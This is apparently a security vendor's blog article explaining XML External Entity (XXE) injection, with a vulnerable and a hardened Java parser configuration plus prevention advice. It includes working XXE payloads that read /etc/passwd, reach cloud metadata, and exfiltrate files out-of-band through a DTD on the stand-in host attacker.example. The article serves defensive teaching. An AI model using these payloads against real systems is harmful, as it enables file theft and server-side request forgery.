Safeguard
Vulnerabilities

XXE Attacks Explained: XML External Entity Injection

How an XXE attack turns a trusting XML parser into a file-reading, request-forging liability, with a concrete Java example and the parser flags that shut it down.

Safeguard Research Team
Research
Updated 6 min read

An XXE attack (XML External Entity injection) happens when an application parses attacker-controlled XML with a parser that still resolves external entities. Because the parser trusts a DOCTYPE declaration, an attacker can define an entity that points at a local file, an internal URL, or a remote payload, and the parser dutifully fetches it. The result is server-side file disclosure, server-side request forgery, and sometimes denial of service, all from what looks like a harmless document upload.

XXE sat at position A4 in the OWASP Top 10 for 2017 and was folded into the broader Security Misconfiguration category in 2021. The reason it never fully goes away: most XML parsers ship with external entity resolution enabled by default, so any endpoint that accepts XML is exposed until a developer explicitly turns it off.

How does an XXE attack actually work?

The vulnerability lives in the XML DOCTYPE and entity mechanism. XML lets a document declare reusable placeholders called entities. An internal entity is just text substitution. An external entity tells the parser to go fetch content from a URI, and that is where the danger sits.

A classic XXE attack example — the file-read payload most write-ups lead with — looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

If the application echoes the parsed data element back to the user, the response contains the contents of /etc/passwd. Swap the URI for http://169.254.169.254/latest/meta-data/ and the same trick pulls cloud instance metadata, which is why XXE and SSRF so often show up in the same report.

Not every app reflects parsed content back. When it does not, attackers reach for blind XXE, using an external DTD to exfiltrate data over an out-of-band channel — a useful xxe attack demo for showing that "the response doesn't echo my input" isn't the same as "this endpoint is safe":

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
  %dtd;
]>
<data>test</data>

The remote evil.dtd defines a parameter entity that appends the stolen file contents to a URL the attacker controls, turning a silent parser into a data pump.

What does an XXE example in Java look like?

Java is the language most associated with this bug because its default XML factories resolve external entities out of the box. Here is a minimal xxe example java developers hit constantly:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(userSuppliedXml)));

That code is vulnerable. DocumentBuilderFactory, SAXParserFactory, XMLInputFactory, TransformerFactory, and the older SAXReader from dom4j all default to processing DTDs and external entities unless you configure them otherwise. Ingesting userSuppliedXml from a request body, a SOAP envelope, an SVG upload, or a SAML assertion without hardening the factory is enough to open the door.

The fix in Java is to disallow doctypes entirely, which is the strongest single setting:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

If your application legitimately needs DTDs, disable external entities and external DTD loading instead of the whole doctype. The OWASP XXE Prevention Cheat Sheet lists the exact flags per parser, and it is worth copying them verbatim rather than guessing.

Where do XXE vulnerabilities hide in real applications?

The obvious surface is an endpoint that says "POST your XML here." The non-obvious surfaces cause most of the incidents:

  • File formats that are XML underneath. DOCX, XLSX, PPTX, ODT, and SVG are ZIP or text containers full of XML. An image-upload feature that renders SVG server-side is an XML parser in disguise.
  • SAML and SOAP. Single sign-on assertions and legacy web services are XML end to end, and SAML XXE has produced authentication-bypass chains.
  • Configuration and data import. RSS ingestion, sitemap parsing, and "import from XML" buttons all feed untrusted documents into a parser.
  • Third-party libraries. A dependency that parses XML internally inherits its parser's defaults. This is exactly the kind of transitive exposure that software composition analysis surfaces, since you may not even know the XML parsing is happening.

Because the trigger is a library default rather than a line of your own code, static analysis that understands data flow into parser constructors catches XXE far more reliably than a keyword grep. Pairing SAST and DAST lets you confirm both that the sink exists and that a live payload reaches it.

How do you prevent XXE for good?

The durable answer is to disable DTD processing at the parser level and keep it disabled by policy, not per file. Concretely:

  1. Turn off external entities and doctype declarations in every XML factory your code touches, using the flags above.
  2. Prefer less dangerous data formats where you control the contract. JSON has no entity mechanism, so an API that accepts JSON removes the entire class.
  3. Patch and inventory your XML libraries. Older xerces, dom4j, and jackson-dataformat-xml versions have had their own XXE-adjacent CVEs; keeping them current matters, and an SCA scan tells you which versions are actually in your build.
  4. Add a regression test that feeds a known XXE payload into each parsing path and asserts the entity is not resolved. Defaults drift back over refactors, and a test freezes the safe behavior in place.

Safeguard flags vulnerable XML parser configurations during static analysis and maps the XML-handling dependencies in your SBOM to known XXE advisories, so a risky DocumentBuilderFactory call and an outdated parser library show up in the same queue rather than in two separate tools you have to reconcile by hand.

FAQ

What is the difference between XXE and SSRF?

XXE is the parsing flaw that lets an attacker inject an external entity; SSRF is one of the things they do with it. An XXE payload that points an entity at an internal URL like a cloud metadata endpoint becomes SSRF. XXE can also read local files and cause denial of service, so SSRF is a subset of its impact, not a synonym.

Is XXE still relevant if I use JSON APIs?

Mostly not for those endpoints, since JSON has no entity or doctype mechanism. But most applications still parse XML somewhere, including SAML logins, Office document uploads, and SVG rendering. If any code path touches XML, XXE remains in scope regardless of your primary API format.

Does disabling DTDs break valid XML?

For the vast majority of applications, no. Business XML rarely relies on external DTDs at runtime. Setting disallow-doctype-decl to true rejects documents that declare a doctype, which is the safest posture. If you have a legitimate DTD dependency, disable only external entities and external DTD loading instead.

Can a web application firewall stop XXE?

A WAF can block obvious <!ENTITY and SYSTEM patterns, which stops lazy scans, but it is not a fix. Attackers use encoding tricks, parameter entities, and out-of-band DTDs to slip past signatures. Treat a WAF as one shallow layer and fix the parser configuration as the real control.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.